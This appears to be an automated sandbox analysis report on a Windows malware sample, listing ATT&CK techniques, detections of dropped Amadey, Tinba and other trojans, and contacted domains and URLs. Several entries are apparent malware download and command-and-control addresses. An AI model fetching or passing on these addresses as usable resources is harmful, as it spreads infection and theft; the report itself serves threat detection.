Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	247 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	891 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	42%	ReversingLabs	Win32.Rootkit.BootkitX
C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	42%	ReversingLabs	Win32.Rootkit.BootkitX
C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	63%	ReversingLabs	Win32.Trojan.Amadey

Source	Detection	Scanner	Label	Link
http://80.82.65.70/filesH5	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empxD	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apite	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exek	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpA.	100%	Avira URL Cloud	malware
http://80.82.65.70/files/downloa)5	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download0/files/download	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique2/random.exeEi	100%	Avira URL Cloud	malware
http://80.82.65.70/x5	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique2/random.exeed	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download:5A	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apipy	100%	Avira URL Cloud	malware
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empry	0%	Avira URL Cloud	safe
https://account.bellmedia.ca_createPermissionClearButtontemplate-permission-popup_createBlockedPopup	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empI	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apite	19%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
atten-supporse.biz	104.21.64.1	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.100	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.142	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
formy-spill.biz	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
dwell-exclaim.biz	false	high
http://80.82.65.70/dll/download	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/filesH5	4611cc433b.exe, 00000007.00000003.3243631746.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000002.3290845320.000000000582C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1678942	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/website-translation.unified-extensions-context-menu-move-widget-downr	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaa620b506-c3ae-4332-97bb-19	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3286911695.000001C22C3D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6E73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5386000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/originsDaysCutOff	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C24448A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3622884951.000001C23C918000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001B.00000002.3649402880.000001C23EB29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DDA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.3437961664.000001C23B4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239B6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C2384B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.3631873065.000001C23D006000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D00B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D15A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CFE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CFA6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apite	79ddad050f.exe, 00000008.00000003.3093351700.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/richSuggestionsFeatureGate	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3641525579.000001C23DEF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150956567.000001C23BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/cbhStudyRow	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/extraParams	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpA.	skotes.exe, 00000006.00000002.3269197197.0000000001039000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 0000001B.00000002.3346346381.000001C237B8A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empxD	4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	false		high
http://185.215.113.16/off/random.exek	skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/enabled	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001B.00000002.3641525579.000001C23DED9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001B.00000002.3636872771.000001C23D903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DA29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3646061223.000001C23E66C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610655302.000001C23C377000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/downloa)5	4611cc433b.exe, 00000007.00000003.3243631746.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000002.3290845320.000000000582C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.3631873065.000001C23D00B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D15A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	79ddad050f.exe, 00000008.00000003.3071958738.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093905264.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	false		high
http://80.82.65.70/files/download0/files/download	4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	79ddad050f.exe, 00000008.00000003.3071958738.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	false		high
http://185.215.113.16/off/def.exe	79ddad050f.exe, 00000008.00000002.3287630527.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262115190.0000000000EFB000.00000004.00000010.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5312000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	79ddad050f.exe, 00000008.00000003.3130122361.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2972144892.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3007919799.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3179670006.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3180642023.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3113176608.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093262916.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3071939046.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3058481738.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B981000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	false		high
http://31.41.244.11/files/unique2/random.exeEi	skotes.exe, 00000006.00000002.3269197197.0000000001039000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpl	e051bdf457.exe, 00000009.00000002.3265209742.0000000001308000.00000004.00000020.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1170143	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3242550855.000001C23E2E8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 0000001B.00000002.3628973173.000001C23CF4C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3648786422.000001C23EA51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
